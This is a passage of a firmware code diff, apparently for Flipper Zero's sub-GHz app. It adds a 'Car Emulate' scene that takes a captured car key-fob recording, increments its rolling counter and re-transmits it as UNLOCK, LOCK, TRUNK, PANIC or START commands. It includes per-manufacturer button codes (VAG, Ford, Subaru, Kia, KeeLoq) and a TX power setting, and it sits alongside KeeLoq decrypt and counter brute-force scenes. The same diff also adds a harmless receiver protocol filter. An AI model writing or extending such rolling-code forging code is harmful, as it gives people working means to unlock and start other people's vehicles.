+//        case InputKeyDown:  return 0x4;
+//        case InputKeyLeft:  return 0x8;
+//        default:            return original;
+//        }
+//    }
+    /* VAG */
+//    if(strstr(protocol, "VAG")) {
+//        if(original == 0x10 || original == 0x20 || original == 0x40) {
+//            switch(key) {
+//            case InputKeyUp:   return 0x20;
+//            case InputKeyOk:   return 0x10;
+//            case InputKeyDown: return 0x40;
+//            default:           return original;
+//            }
+//        }
+//        switch(key) {
+//        case InputKeyUp:    return 0x2;
+//        case InputKeyOk:    return 0x1;
+//        case InputKeyDown:  return 0x4;
+//        case InputKeyLeft:  return 0x8;
+//        case InputKeyRight: return 0x3;
+//        default:            return original;
+//        }
+//    }
+    /* Honda Static */
+//    if(strstr(protocol, "Honda Static")) {
+//        switch(key) {
+//        case InputKeyUp:    return 0x1;
+//        case InputKeyOk:    return 0x2;
+//        case InputKeyDown:  return 0x4;
+//        case InputKeyRight: return 0x5;
+//        case InputKeyLeft:  return 0x8;
+//        default:            return original;
+//        }
+//    }
+    /* Ford */
+//    if(strstr(protocol, "Ford")) {
+//        switch(key) {
+//        case InputKeyLeft:  return 0x1;
+//        case InputKeyUp:    return 0x2;
+//        case InputKeyOk:    return 0x4;
+//        case InputKeyDown:  return 0x8;
+//        case InputKeyRight: return 0x10;
+//        default:            return original;
+//        }
+//    }
+    /* Chrysler */
+//    if(strstr(protocol, "Chrysler")) {
+//        switch(key) {
+//        case InputKeyUp: return 0x1;
+//        case InputKeyOk: return 0x2;
+//        default:         return original;
+//        }
+//    }
+    /* Subaru */
+//    if(strstr(protocol, "Subaru")) {
+//        switch(key) {
+//        case InputKeyUp:    return 0x1;
+//        case InputKeyOk:    return 0x2;
+//        case InputKeyDown:  return 0x3;
+//        case InputKeyLeft:  return 0x4;
+//        case InputKeyRight: return 0x8;
+//        default:            return original;
+//        }
+//    }
+    /* Fiat V1 */
+//    if(strstr(protocol, "Fiat V1")) {
+//        switch(key) {
+//        case InputKeyUp:   return 0x8;
+//        case InputKeyOk:   return 0x0;
+//        case InputKeyDown: return 0xD;
+//        default:           return original;
+//        }
+//    }
+    /* Generic KeeLoq / KIA etc. – simple 4-button layout */
+//    if(strstr(protocol, "Kia") || strstr(protocol, "KIA") ||
+//       strstr(protocol, "KeeLoq")     || strstr(protocol, "Keeloq")) {
+//        switch(key) {
+//        case InputKeyUp:    return 0x1;
+//        case InputKeyOk:    return 0x2;
+//        case InputKeyDown:  return 0x3;
+//        case InputKeyLeft:  return 0x4;
+//        case InputKeyRight: return 0x8;
+//        default:            return original;
+//        }
+//    }
+
+//    return original;
+//}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * TX helpers
+ * ═════════════════════════════════════════════════════════════════════════*/
+
+/**
+ * Read frequency and short preset name from fff_data.
+ * Falls back to 433.92 MHz / "AM650" on failure.
+ */
+static void car_emulate_read_freq_preset(SubGhz* subghz, CarEmulateState* st) {
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+
+    st->freq = 433920000UL;
+    strncpy(st->preset_short, "AM650", sizeof(st->preset_short) - 1);
+
+    if(!fff) return;
+
+    uint32_t freq = 0;
+    flipper_format_rewind(fff);
+    if(flipper_format_read_uint32(fff, "Frequency", &freq, 1) && freq > 0) {
+        st->freq = freq;
+    }
+
+    FuriString* preset_str = furi_string_alloc();
+    flipper_format_rewind(fff);
+    if(flipper_format_read_string(fff, "Preset", preset_str)) {
+        /* Convert long FuriHal name → short token used by the setting */
+        const char* raw = furi_string_get_cstr(preset_str);
+        const char* short_name = "AM650";
+        if(strstr(raw, "Ook270"))       short_name = "AM270";
+        else if(strstr(raw, "Ook650"))  short_name = "AM650";
+        else if(strstr(raw, "238"))     short_name = "FM238";
+        else if(strstr(raw, "12K"))     short_name = "FM12K";
+        else if(strstr(raw, "476"))     short_name = "FM476";
+        else if(strstr(raw, "Custom"))  short_name = "CUST";
+        strncpy(st->preset_short, short_name, sizeof(st->preset_short) - 1);
+    }
+    furi_string_free(preset_str);
+}
+
+/** Update Btn and Cnt fields in fff_data so the transmitter re-serialises them. */
+static void car_emulate_apply_button(SubGhz* subghz, InputKey key) {
+    UNUSED(subghz);
+
+    uint8_t custom_btn_id;
+    switch(key) {
+    case InputKeyUp:    custom_btn_id = SUBGHZ_CUSTOM_BTN_UP;    break;
+    case InputKeyDown:  custom_btn_id = SUBGHZ_CUSTOM_BTN_DOWN;  break;
+    case InputKeyLeft:  custom_btn_id = SUBGHZ_CUSTOM_BTN_LEFT;  break;
+    case InputKeyRight: custom_btn_id = SUBGHZ_CUSTOM_BTN_RIGHT; break;
+    case InputKeyOk:
+    default:            custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;    break;
+    }
+
+    subghz_custom_btn_set(custom_btn_id);
+}
+
+
+/** Update Cnt in fff_data (Btn is handled by the protocol via custom_btn). */
+static void car_emulate_update_fff(SubGhz* subghz, uint32_t counter) {
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    if(!fff) return;
+    flipper_format_rewind(fff);
+    flipper_format_insert_or_update_uint32(fff, "Cnt", &counter, 1);
+}
+
+
+/** Apply tx_power to the current preset and start a single transmission burst. */
+static bool car_emulate_start_tx(SubGhz* subghz, uint8_t custom_btn_id) {
+    SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
+    if(preset.data && preset.data_size > 0 && subghz->tx_power > 0) {
+        subghz_txrx_set_tx_power(preset.data, preset.data_size, subghz->tx_power);
+        FURI_LOG_I(TAG, "TX power index applied: %u", subghz->tx_power);
+    }
+
+    subghz_custom_btn_set(custom_btn_id);
+
+    bool ok = subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
+    if(ok) {
+        subghz->state_notifications = SubGhzNotificationStateTx;
+        notification_message(subghz->notifications, &sequence_blink_magenta_10);
+        FURI_LOG_I(TAG, "TX started");
+    } else {
+        FURI_LOG_E(TAG, "subghz_tx_start failed");
+    }
+    return ok;
+}
+
+
+/** Stop an active transmission. */
+static void car_emulate_stop_tx(SubGhz* subghz) {
+    subghz_txrx_stop(subghz->txrx);
+    subghz->state_notifications = SubGhzNotificationStateIDLE;
+    notification_message(subghz->notifications, &sequence_blink_stop);
+    FURI_LOG_I(TAG, "TX stopped");
+}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * View callback (fired from the View's input handler)
+ * ═════════════════════════════════════════════════════════════════════════*/
+static void subghz_scene_car_emulate_view_callback(uint32_t event, void* context) {
+    SubGhz* subghz = context;
+    view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
+}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * Helpers to keep the view in sync
+ * ═════════════════════════════════════════════════════════════════════════*/
+static void car_emulate_refresh_view(SubGhz* subghz) {
+    furi_assert(s_state);
+    subghz_car_emulate_view_set_data(
+        subghz->car_emulate_view,
+        s_state->protocol_name,
+        s_state->serial,
+        s_state->current_counter,
+        s_state->original_counter,
+        s_state->freq,
+        s_state->preset_short,
+        s_state->is_transmitting);
+}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * Scene on_enter
+ * ═════════════════════════════════════════════════════════════════════════*/
+void subghz_scene_car_emulate_on_enter(void* context) {
+    SubGhz* subghz = context;
+    furi_assert(subghz);
+
+    /* Allocate per-session state */
+    s_state = malloc(sizeof(CarEmulateState));
+    furi_check(s_state);
+    memset(s_state, 0, sizeof(CarEmulateState));
+
+    /* ── Read metadata from the loaded fff_data ── */
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    if(fff) {
+        FuriString* tmp = furi_string_alloc();
+
+        flipper_format_rewind(fff);
+        if(flipper_format_read_string(fff, "Protocol", tmp)) {
+            strncpy(
+                s_state->protocol_name,
+                furi_string_get_cstr(tmp),
+                sizeof(s_state->protocol_name) - 1);
+        }
+
+        flipper_format_rewind(fff);
+        flipper_format_read_uint32(fff, "Serial", &s_state->serial, 1);
+
+        flipper_format_rewind(fff);
+        uint32_t btn_tmp = 0;
+        if(flipper_format_read_uint32(fff, "Btn", &btn_tmp, 1)) {
+            s_state->original_button = (uint8_t)btn_tmp;
+        }
+
+        flipper_format_rewind(fff);
+        flipper_format_read_uint32(fff, "Cnt", &s_state->original_counter, 1);
+        s_state->current_counter = s_state->original_counter;
+
+        furi_string_free(tmp);
+    }
+
+    /* ── Initialize the custom_btn system ──────────────────────────────────
+     * Reset first so any leftover state from a previous session is cleared.
+     * Then deserialize the decoder once: this causes the protocol's own
+     * deserialize() to call subghz_custom_btn_set_original() and
+     * subghz_custom_btn_set_max(), which is exactly what the standard
+     * Transmitter scene does via subghz_scene_transmitter_update_data_show().
+     * After this call:
+     *   - subghz_custom_btn_get_original() → the button that was in the file
+     *   - subghz_custom_btn_is_allowed()   → true if protocol supports it
+     *   - subghz_custom_btn_get_max()      → number of buttons available     */
+    subghz_custom_btns_reset();
+
+    SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(subghz->txrx);
+    if(decoder && fff) {
+        flipper_format_rewind(fff);
+        subghz_protocol_decoder_base_deserialize(decoder, fff);
+        /* Rewind again so subsequent reads in car_emulate_read_freq_preset()
+         * start from the beginning of the file. */
+        flipper_format_rewind(fff);
+    }
+
+        subghz_car_emulate_view_set_labels(
+        subghz->car_emulate_view,
+        "UNLOCK",       /* OK    */
+        "LOCK",         /* Up    */
+        "TRUNK",        /* Down  */
+        "PANIC",        /* Left  */
+        "START"         /* Right */
+    );
+
+    car_emulate_read_freq_preset(subghz, s_state);
+
+    /* ── Configure the view ── */
+    subghz_car_emulate_view_set_callback(
+        subghz->car_emulate_view, subghz_scene_car_emulate_view_callback, subghz);
+
+    car_emulate_refresh_view(subghz);
+
+    subghz->state_notifications = SubGhzNotificationStateIDLE;
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
+}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * Scene on_event
+ * ═════════════════════════════════════════════════════════════════════════*/
+bool subghz_scene_car_emulate_on_event(void* context, SceneManagerEvent event) {
+    SubGhz* subghz = context;
+    furi_assert(s_state);
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+
+        /* ── Transmit ── */
+        if((event.event & 0xFFFFU) == SubGhzCustomEventCarEmulateTransmit) {
+            InputKey key = (InputKey)((event.event >> 16) & 0xFFU);
+
+            /* Stop any ongoing TX first */
+            if(subghz->state_notifications == SubGhzNotificationStateTx) {
+                car_emulate_stop_tx(subghz);
+            }
+
+            /* Bump counter */
+            s_state->current_counter++;
+
+            /* Set the custom button BEFORE deserialize() is called inside
+             * subghz_tx_start() → subghz_txrx_tx_start().
+             * The protocol's deserialize() will call subghz_custom_btn_get()
+             * to pick the right button code. */
+            car_emulate_apply_button(subghz, key);
+
+            /* Only update the counter in fff_data; the protocol handles Btn. */
+            car_emulate_update_fff(subghz, s_state->current_counter);
+
+            s_state->is_transmitting = true;
+            s_state->stop_pending    = false;
+            s_state->tx_start_tick   = (uint32_t)furi_get_tick();
+
+            uint8_t cur_btn = subghz_custom_btn_get();
+            if(!car_emulate_start_tx(subghz, cur_btn)) {
+                s_state->is_transmitting = false;
+                notification_message(subghz->notifications, &sequence_error);
+            }
+
+            car_emulate_refresh_view(subghz);
+            consumed = true;
+
+        /* ── Stop ── */
+        } else if(event.event == SubGhzCustomEventCarEmulateStop) {
+            if(s_state->is_transmitting &&
+               subghz->state_notifications == SubGhzNotificationStateTx) {
+
+                uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
+                if(elapsed >= MIN_TX_TICKS) {
+                    car_emulate_stop_tx(subghz);
+                    s_state->is_transmitting = false;
+                    s_state->stop_pending    = false;
+                } else {
+                    s_state->stop_pending = true;
+                }
+            }
+            car_emulate_refresh_view(subghz);
+            consumed = true;
+
+        /* ── Exit ── */
+        } else if(event.event == SubGhzCustomEventCarEmulateExit) {
+            if(subghz->state_notifications == SubGhzNotificationStateTx) {
+                car_emulate_stop_tx(subghz);
+            }
+            scene_manager_search_and_switch_to_previous_scene(
+                subghz->scene_manager, SubGhzSceneSavedMenu);
+            consumed = true;
+        }
+
+    } else if(event.type == SceneManagerEventTypeTick) {
+
+        if(s_state->is_transmitting &&
+           subghz->state_notifications == SubGhzNotificationStateTx) {
+
+            /* Check if hardware is done */
+            if(subghz_devices_is_async_complete_tx(subghz->txrx->radio_device)) {
+                subghz->state_notifications = SubGhzNotificationStateIDLE;
+                subghz_txrx_stop(subghz->txrx);
+
+                if(s_state->stop_pending) {
+                    s_state->is_transmitting = false;
+                    s_state->stop_pending    = false;
+                    notification_message(subghz->notifications, &sequence_blink_stop);
+                }
+            } else {
+                /* Still transmitting – blink LED */
+                notification_message(subghz->notifications, &sequence_blink_magenta_10);
+            }
+
+            /* Enforce MIN_TX_TICKS stop gate */
+            if(s_state->stop_pending) {
+                uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
+                if(elapsed >= MIN_TX_TICKS) {
+                    car_emulate_stop_tx(subghz);
+                    s_state->is_transmitting = false;
+                    s_state->stop_pending    = false;
+                }
+            }
+        }
+
+        /* Refresh view every tick for animation */
+        car_emulate_refresh_view(subghz);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * Scene on_exit
+ * ═════════════════════════════════════════════════════════════════════════*/
+void subghz_scene_car_emulate_on_exit(void* context) {
+    SubGhz* subghz = context;
+
+    if(subghz->state_notifications == SubGhzNotificationStateTx) {
+        car_emulate_stop_tx(subghz);
+    }
+
+    subghz->state_notifications = SubGhzNotificationStateIDLE;
+    notification_message(subghz->notifications, &sequence_blink_stop);
+
+    /* Clear view callbacks */
+    subghz_car_emulate_view_set_callback(subghz->car_emulate_view, NULL, NULL);
+
+    /* Free per-session state */
+    if(s_state) {
+        free(s_state);
+        s_state = NULL;
+    }
+}

applications/main/subghz/scenes/subghz_scene_car_emulate_settings.c

@@ -0,0 +1,109 @@
+/**
+ * Scene: CarEmulateSettings
+ * Toggle: Custom Emulate  Off / On
+ * Selector: TX Power (reuses the same table as Radio Settings)
+ * Both settings are persisted in SubGhzLastSettings.
+ */
+#include "../subghz_i.h"
+#include <lib/toolbox/value_index.h>
+
+#define TAG "SubGhzCarEmulateSettings"
+
+/* ── Toggle ──────────────────────────────────────────────────────────────── */
+static const char* const toggle_text[] = {"Off", "On"};
+
+static void subghz_scene_car_emulate_settings_toggle_changed(VariableItem* item) {
+    SubGhz* subghz = variable_item_get_context(item);
+    furi_assert(subghz);
+
+    uint8_t index = variable_item_get_current_value_index(item);
+    variable_item_set_current_value_text(item, toggle_text[index]);
+
+    subghz->last_settings->custom_car_emulate = (index == 1);
+    subghz_last_settings_save(subghz->last_settings);
+}
+
+/* ── TX Power ────────────────────────────────────────────────────────────── */
+/* Must match the table in subghz_scene_radio_settings.c exactly */
+#define CE_TX_POWER_COUNT 9
+static const char* const ce_tx_power_text[CE_TX_POWER_COUNT] = {
+    "Preset",   /* index 0 → use whatever the preset has baked in */
+    "10dBm +",
+    "7dBm",
+    "5dBm",
+    "0dBm",
+    "-10dBm",
+    "-15dBm",
+    "-20dBm",
+    "-30dBm",
+};
+
+static void subghz_scene_car_emulate_settings_power_changed(VariableItem* item) {
+    SubGhz* subghz = variable_item_get_context(item);
+    furi_assert(subghz);
+
+    uint8_t index = variable_item_get_current_value_index(item);
+    variable_item_set_current_value_text(item, ce_tx_power_text[index]);
+
+    /* Mirror the same fields that Radio Settings touches so the value is
+     * visible everywhere and survives app restart. */
+    subghz->tx_power                  = index;
+    subghz->last_settings->tx_power   = index;
+    subghz_last_settings_save(subghz->last_settings);
+
+    /* Patch the live preset buffer immediately so any subsequent TX in this
+     * session uses the new power without needing a restart. */
+    SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
+    if(preset.data && preset.data_size > 0) {
+        subghz_txrx_set_tx_power(preset.data, preset.data_size, index);
+    }
+}
+
+/* ── Scene callbacks ─────────────────────────────────────────────────────── */
+void subghz_scene_car_emulate_settings_on_enter(void* context) {
+    SubGhz* subghz = context;
+    furi_assert(subghz);
+
+    VariableItemList* list = subghz->variable_item_list;
+    variable_item_list_reset(list);
+
+    /* ── Row 1: Custom Emulate toggle ── */
+    VariableItem* item = variable_item_list_add(
+        list,
+        "Custom Emulate",
+        2,
+        subghz_scene_car_emulate_settings_toggle_changed,
+        subghz);
+
+    uint8_t toggle_idx = subghz->last_settings->custom_car_emulate ? 1 : 0;
+    variable_item_set_current_value_index(item, toggle_idx);
+    variable_item_set_current_value_text(item, toggle_text[toggle_idx]);
+
+    /* ── Row 2: TX Power ── */
+    item = variable_item_list_add(
+        list,
+        "TX Power",
+        CE_TX_POWER_COUNT,
+        subghz_scene_car_emulate_settings_power_changed,
+        subghz);
+
+    /* Clamp stored value to valid range in case settings file is corrupt */
+    uint8_t power_idx = subghz->tx_power;
+    if(power_idx >= CE_TX_POWER_COUNT) power_idx = 0;
+
+    variable_item_set_current_value_index(item, power_idx);
+    variable_item_set_current_value_text(item, ce_tx_power_text[power_idx]);
+
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
+}
+
+bool subghz_scene_car_emulate_settings_on_event(void* context, SceneManagerEvent event) {
+    UNUSED(context);
+    UNUSED(event);
+    return false;
+}
+
+void subghz_scene_car_emulate_settings_on_exit(void* context) {
+    SubGhz* subghz = context;
+    variable_item_list_reset(subghz->variable_item_list);
+}

applications/main/subghz/scenes/subghz_scene_config.h

@@ -34,3 +34,5 @@ ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
 ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
 ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
 ADD_SCENE(subghz, counter_bf, CounterBf)
+ADD_SCENE(subghz, car_emulate, CarEmulate)
+ADD_SCENE(subghz, car_emulate_settings, CarEmulateSettings)

applications/main/subghz/scenes/subghz_scene_protocol_list.c

@@ -1,53 +1,135 @@
 #include "../subghz_i.h"
 #include <lib/subghz/subghz_protocol_registry.h>
 
-void subghz_scene_protocol_list_submenu_callback(void* context, uint32_t index) {
-    SubGhz* subghz = context;
-    view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
-}
+#define TAG "SubGhzSceneProtocolList"
 
-void subghz_scene_protocol_list_on_enter(void* context) {
-    SubGhz* subghz = context;
+/* ── helpers ──────────────────────────────────────────────────────────────── */
 
-    submenu_reset(subghz->submenu);
-
-    size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
-    
-    char header_str[32];
-    snprintf(header_str, sizeof(header_str), "Protocols: %zu", protocol_count);
-    submenu_set_header(subghz->submenu, header_str);
-
-    for(size_t i = 0; i < protocol_count; i++) {
-        const SubGhzProtocol* protocol =
-            subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
-        if(protocol) {
-            submenu_add_item(
-                subghz->submenu,
-                protocol->name,
-                i,
-                subghz_scene_protocol_list_submenu_callback,
-                subghz);
-        }
-    }
-
-    submenu_set_selected_item(
-        subghz->submenu,
-        scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
-
-    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
-}
-
-bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
-    SubGhz* subghz = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneProtocolList, event.event);
-        return true;
+static bool proto_filter_contains(const char* filter, const char* name) {
+    const char* p = filter;
+    while(*p) {
+        const char* comma = strchr(p, ',');
+        size_t len = comma ? (size_t)(comma - p) : strlen(p);
+        if(len == strlen(name) && strncmp(p, name, len) == 0) return true;
+        if(!comma) break;
+        p = comma + 1;
     }
     return false;
 }
 
+static void proto_filter_toggle(char* filter, size_t filter_size, const char* name) {
+    if(proto_filter_contains(filter, name)) {
+        /* remove it */
+        char tmp[256] = {0};
+        const char* p = filter;
+        bool first = true;
+        while(*p) {
+            const char* comma = strchr(p, ',');
+            size_t len = comma ? (size_t)(comma - p) : strlen(p);
+            if(!(len == strlen(name) && strncmp(p, name, len) == 0)) {
+                if(!first) strncat(tmp, ",", sizeof(tmp) - strlen(tmp) - 1);
+                strncat(tmp, p, len < sizeof(tmp) - strlen(tmp) - 1 ? len : 0);
+                first = false;
+            }
+            if(!comma) break;
+            p = comma + 1;
+        }
+        strncpy(filter, tmp, filter_size - 1);
+        filter[filter_size - 1] = '\0';
+    } else {
+        /* add it */
+        if(filter[0] != '\0') strncat(filter, ",", filter_size - strlen(filter) - 1);
+        strncat(filter, name, filter_size - strlen(filter) - 1);
+    }
+}
+
+/* ── callbacks ────────────────────────────────────────────────────────────── */
+
+static void subghz_scene_protocol_list_item_changed(VariableItem* item) {
+    SubGhz* subghz = variable_item_get_context(item);
+    uint8_t value_index = variable_item_get_current_value_index(item);
+
+    uint32_t proto_idx =
+        scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList);
+    size_t selected =
+        variable_item_list_get_selected_item_index(subghz->variable_item_list);
+    UNUSED(proto_idx);
+
+    const SubGhzProtocol* protocol =
+        subghz_protocol_registry_get_by_index(&subghz_protocol_registry, selected);
+    if(!protocol) return;
+
+    const char* name = protocol->name;
+
+    bool currently_in =
+        proto_filter_contains(subghz->last_settings->protocol_filter, name);
+
+    if((value_index == 1) != currently_in) {
+        proto_filter_toggle(
+            subghz->last_settings->protocol_filter,
+            sizeof(subghz->last_settings->protocol_filter),
+            name);
+    }
+
+    variable_item_set_current_value_text(item, value_index ? "ONLY" : "---");
+    subghz_last_settings_save(subghz->last_settings);
+}
+
+/* ── scene callbacks ──────────────────────────────────────────────────────── */
+
+void subghz_scene_protocol_list_on_enter(void* context) {
+    SubGhz* subghz = context;
+    VariableItemList* list = subghz->variable_item_list;
+    variable_item_list_reset(list);
+
+    size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
+
+    for(size_t i = 0; i < protocol_count; i++) {
+        const SubGhzProtocol* protocol =
+            subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
+        if(!protocol) continue;
+
+        VariableItem* item = variable_item_list_add(
+            list,
+            protocol->name,
+            2,
+            subghz_scene_protocol_list_item_changed,
+            subghz);
+
+        bool enabled = proto_filter_contains(
+            subghz->last_settings->protocol_filter, protocol->name);
+        variable_item_set_current_value_index(item, enabled ? 1 : 0);
+        variable_item_set_current_value_text(item, enabled ? "ONLY" : "---");
+    }
+
+    variable_item_list_set_selected_item(
+        list,
+        scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
+
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
+}
+
+bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
+    SubGhz* subghz = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        scene_manager_set_scene_state(
+            subghz->scene_manager, SubGhzSceneProtocolList, event.event);
+        consumed = true;
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_previous_scene(subghz->scene_manager);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
 void subghz_scene_protocol_list_on_exit(void* context) {
     SubGhz* subghz = context;
-    submenu_reset(subghz->submenu);
+    scene_manager_set_scene_state(
+        subghz->scene_manager,
+        SubGhzSceneProtocolList,
+        variable_item_list_get_selected_item_index(subghz->variable_item_list));
+    variable_item_list_reset(subghz->variable_item_list);
 }

applications/main/subghz/scenes/subghz_scene_receiver.c

@@ -105,6 +105,29 @@ static void subghz_scene_add_to_history_callback(
     SubGhz* subghz = context;
 
     // The check can be moved to /lib/subghz/receiver.c, but may result in false positives
+    /* Protocol name allowlist filter — if non-empty, drop anything not in the list */
+    if(subghz->last_settings->protocol_filter[0] != '\0') {
+        const char* proto_name = decoder_base->protocol->name;
+        const char* filter = subghz->last_settings->protocol_filter;
+        bool allowed = false;
+        /* Walk the comma-separated list */
+        const char* p = filter;
+        while(*p) {
+            const char* comma = strchr(p, ',');
+            size_t len = comma ? (size_t)(comma - p) : strlen(p);
+            if(len == strlen(proto_name) && strncmp(p, proto_name, len) == 0) {
+                allowed = true;
+                break;
+            }
+            if(!comma) break;
+            p = comma + 1;
+        }
+        if(!allowed) {
+            FURI_LOG_D(TAG, "%s filtered by allowlist", proto_name);
+            return;
+        }
+    }
+
     if((decoder_base->protocol->flag & subghz->ignore_filter) == 0) {
         SubGhzHistory* history = subghz->history;
         FuriString* item_name = furi_string_alloc();

applications/main/subghz/scenes/subghz_scene_receiver_config.c

@@ -17,6 +17,7 @@ enum SubGhzSettingIndex {
     SubGhzSettingIndexIgnoreNiceFlorS,
     SubGhzSettingIndexDeleteOldSignals,
     SubGhzSettingIndexSound,
+    SubGhzSettingIndexProtoFilter,
     SubGhzSettingIndexResetToDefault,
     SubGhzSettingIndexLock,
     SubGhzSettingIndexRAWThresholdRSSI,
@@ -445,7 +446,9 @@ static void subghz_scene_receiver_config_set_delete_old_signals(VariableItem* it
 static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) {
     furi_assert(context);
     SubGhz* subghz = context;
-    if(index == SubGhzSettingIndexLock) {
+    if(index == SubGhzSettingIndexProtoFilter) {
+        scene_manager_next_scene(subghz->scene_manager, SubGhzSceneProtocolList);
+    } else if(index == SubGhzSettingIndexLock) {
         view_dispatcher_send_custom_event(
             subghz->view_dispatcher, SubGhzCustomEventSceneSettingLock);
     } else if(index == SubGhzSettingIndexResetToDefault) {
@@ -473,6 +476,7 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
         subghz->last_settings->filter = subghz->filter;
         subghz->last_settings->delete_old_signals = false;
         subghz->last_settings->tx_power = subghz->tx_power = 0;
+        subghz->last_settings->protocol_filter[0] = '\0';
         subghz_txrx_speaker_set_state(subghz->txrx, speaker_value[default_index]);
 
         subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
@@ -668,6 +672,25 @@ void subghz_scene_receiver_config_on_enter(void* context) {
 
     if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
        SubGhzCustomEventManagerSet) {
+        /* Protocol filter */
+        item = variable_item_list_add(
+            subghz->variable_item_list,
+            "Proto Filter",
+            1,
+            NULL,
+            subghz);
+        if(subghz->last_settings->protocol_filter[0] == '\0') {
+            variable_item_set_current_value_text(item, "All");
+        } else {
+            uint8_t count = 1;
+            for(const char* p = subghz->last_settings->protocol_filter; *p; p++) {
+                if(*p == ',') count++;
+            }
+            static char filter_count_str[8];
+            snprintf(filter_count_str, sizeof(filter_count_str), "%u set", count);
+            variable_item_set_current_value_text(item, filter_count_str);
+        }
+
         // Reset to default
         variable_item_list_add(subghz->variable_item_list, "Reset to default", 1, NULL, NULL);
 

applications/main/subghz/scenes/subghz_scene_saved_menu.c

@@ -6,7 +6,8 @@ enum SubmenuIndex {
     SubmenuIndexEdit,
     SubmenuIndexDelete,
     SubmenuIndexSignalSettings,
-    SubmenuIndexCounterBf
+    SubmenuIndexCounterBf,                  /* <-- comma was missing here */
+    SubmenuIndexCarEmulateSettings,
 };
 
 void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
@@ -77,6 +78,13 @@ void subghz_scene_saved_menu_on_enter(void* context) {
         subghz_scene_saved_menu_submenu_callback,
         subghz);
 
+    submenu_add_item(
+        subghz->submenu,
+        "Custom Emulate Settings",
+        SubmenuIndexCarEmulateSettings,
+        subghz_scene_saved_menu_submenu_callback,
+        subghz);
+
     if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
         submenu_add_item(
             subghz->submenu,
@@ -109,7 +117,22 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
         if(event.event == SubmenuIndexEmulate) {
             scene_manager_set_scene_state(
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
-            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
+
+            bool use_custom = subghz->last_settings->custom_car_emulate;
+            if(use_custom) {
+                FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+                uint32_t cnt_tmp = 0;
+                flipper_format_rewind(fff);
+                if(!flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
+                    use_custom = false;
+                }
+            }
+
+            if(use_custom) {
+                scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
+            } else {
+                scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
+            }
             return true;
         } else if(event.event == SubmenuIndexPsaDecrypt) {
             scene_manager_set_scene_state(
@@ -136,6 +159,14 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
                 subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
             scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCounterBf);
             return true;
+        } else if(event.event == SubmenuIndexCarEmulateSettings) {
+            /* <-- was outside the if block due to misplaced brace, now fixed */
+            scene_manager_set_scene_state(
+                subghz->scene_manager,
+                SubGhzSceneSavedMenu,
+                SubmenuIndexCarEmulateSettings);
+            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulateSettings);
+            return true;
         }
     }
     return false;

applications/main/subghz/scenes/subghz_scene_transmitter.c

@@ -94,6 +94,10 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) {
             scene_manager_search_and_switch_to_previous_scene(
                 subghz->scene_manager, SubGhzSceneStart);
             return true;
+        } else if(event.event == SubGhzCustomEventViewTransmitterPageChange) {
+            // Page changed via OK button, refresh display
+            subghz_scene_transmitter_update_data_show(subghz);
+            return true;
